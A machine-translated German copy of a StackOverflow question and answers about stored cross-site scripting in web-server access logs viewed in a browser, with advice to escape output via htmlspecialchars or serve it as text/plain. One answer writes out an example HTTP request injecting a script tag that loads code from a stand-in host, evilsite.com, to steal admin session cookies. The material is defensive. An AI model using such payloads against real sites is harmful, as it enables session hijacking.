Frage

Ist es gefährlich Zugriffsprotokoll anzeigen, ohne über den Webbrowser desinfizierenden?

Ich erwäge Zugriffsprotokoll aufzunehmen, und ich bin am überlegen es über wev Browser anzuzeigen, aber wenn Angreifer seine Remote-Host oder User-Agent oder etwas ändert, kann er mich angreifen?

Durch Einfügen von Code in seine Remote-Host oder User-Agent angreifen oder ect.

So habe ich durch htmlspecialchar sanieren müssen, bevor die Zugriffsprotokolldatei über Webbrowser zu öffnen?

Ich meine Angreifer einige angreifende Code in seine Remote-Host einsetzen oder User-Agent oder someware, dann sehe ich, dass Zugriffsprotokoll über Web-Browser, dann wird mein PC diesen Code betroffen sein.

War es hilfreich?

Lösung

Sie wollen wahrscheinlich einige HTML für die Ausgabe formatieren und müssen daher sanieren / kodieren die Protokolldaten. Aber für die Argumente willen: Wenn Sie die Ausgabe als text / plain senden wird der Kunde sollte keine HTML / JavaScript analysieren
. Z.B. der Ausgang von

<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
displays as
<script>alert(document.URL);</script>
(zumindest in FF3, IE8, Oper, Safari).

Andere Tipps

Ja, das ist gefährlich.

Zum Beispiel kann ein böswilliger Benutzer nur so etwas wie dies anfordern:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

Und Kompromisse Ihre Ansicht Seite mit schädlichem JavaScript.

Da Sie wahrscheinlich das Protokoll auf Ihrer Website sehen, würden Sie mit Administratorrechten angemeldet als Account werden. Mit dem bösartigen JavaScript kann der Angreifer Session-Cookie stehlen und übernimmt Ihre Sitzung, komplett mit allen Dingen, die Sie tun können, während angemeldet.

So, zum Schluss, sollten Sie auf jeden Fall Zugriff Logseiten entkommen, es sei denn, Sie möchten Ihre Administratorkonten kompromittiert haben.

Theoretisch ist es möglich, ja, und Sie sollten sie loben die richtige Einstellung darüber auf diese Weise zu denken, zu haben. Hygienisierung Unkontrollierten eingeben, bevor sie in einem Web-Browser angezeigt ist immer eine gute Idee.

Ich würde die Protokollausgabe durch htmlspecialchars() laufen.

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top